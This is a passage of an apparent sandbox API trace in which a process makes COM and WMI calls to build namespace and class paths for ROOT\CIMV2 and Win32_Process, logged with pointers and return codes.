riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b3d0) returned 0x0 [0129.579] WbemDefPath:IUnknown:Release (This=0x1bb9d750) returned 0x0 [0129.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b3d0) returned 0x0 [0129.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.579] WbemDefPath:IUnknown:AddRef (This=0x1aa0b3d0) returned 0x3 [0129.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb9d790) returned 0x0 [0129.579] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.580] WbemDefPath:IUnknown:Release (This=0x1bb9d790) returned 0x3 [0129.580] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.580] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.580] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x2 [0129.580] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x1 [0129.580] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.580] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b3d0) returned 0x0 [0129.580] WbemDefPath:IUnknown:AddRef (This=0x1aa0b3d0) returned 0x3 [0129.580] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x2 [0129.580] WbemDefPath:IWbemPath:SetText (This=0x1aa0b3d0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b3d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0129.581] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0b310) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b3d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0129.581] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b310, uIndex=0x0, pszName="ROOT") returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0129.581] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b310, uIndex=0x1, pszName="CIMV2") returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0b310, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0129.581] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0b310, Name="Win32_Process") returned 0x0 [0129.581] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b310, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b310, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0129.582] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0129.583] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0129.583] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0129.583] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0129.583] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0129.583] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.585] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bb9d9f0) returned 0x0 [0129.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d9f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0129.585] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d9f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0b490) returned 0x0 [0129.585] WbemDefPath:IUnknown:Release (This=0x1bb9d9f0) returned 0x0 [0129.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0b490) returned 0x0 [0129.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0129.586] WbemDefPath:IUnknown:AddRef (This=0x1aa0b490) returned 0x3 [0129.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0129.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0129.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bb9da30) returned 0x0 [0129.586] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9da30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.586] WbemDefPath:IUnknown:Release (This=0x1bb9da30) returned 0x3 [0129.587] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0129.587] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0129.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0129.587] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x2 [0129.587] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x1 [0129.587] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0129.587] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0129.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0b490) returned 0x0 [0129.587] WbemDefPath:IUnknown:AddRef (This=0x1aa0b490) returned 0x3 [0129.587] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x2 [0129.587] WbemDefPath:IWbemPath:SetText (This=0x1aa0b490, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0129.587] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.587] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0129.588] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.588] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.588] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.588] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.588] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.590] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb9da70) returned 0x0 [0129.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9da70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.590] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9da70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b550) returned 0x0 [0129.591] WbemDefPath:IUnknown:Release (This=0x1bb9da70) returned 0x0 [0129.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b550) returned 0x0 [0129.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.591] WbemDefPath:IUnknown:AddRef (This=0x1aa0b550) returned 0x3 [0129.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb9dab0) returned 0x0 [0129.591] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9dab0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.592] WbemDefPath:IUnknown:Release (This=0x1bb9dab0) returned 0x3 [0129.592] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.592] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.592] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x2 [0129.592] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x1 [0129.592] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.592] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b550) returned 0x0 [0129.592] WbemDefPath:IUnknown:AddRef (This=0x1aa0b550) returned 0x3 [0129.592] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x2 [0129.592] WbemDefPath:IWbemPath:SetText (This=0x1aa0b550, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0129.593] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0b490) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b550, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b550, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0129.593] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b490, uIndex=0x0, pszName="root") returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b550, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b550, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0129.593] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b490, uIndex=0x1, pszName="cimv2") returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b550, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b550, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0129.593] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b490, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b490, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b490, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, 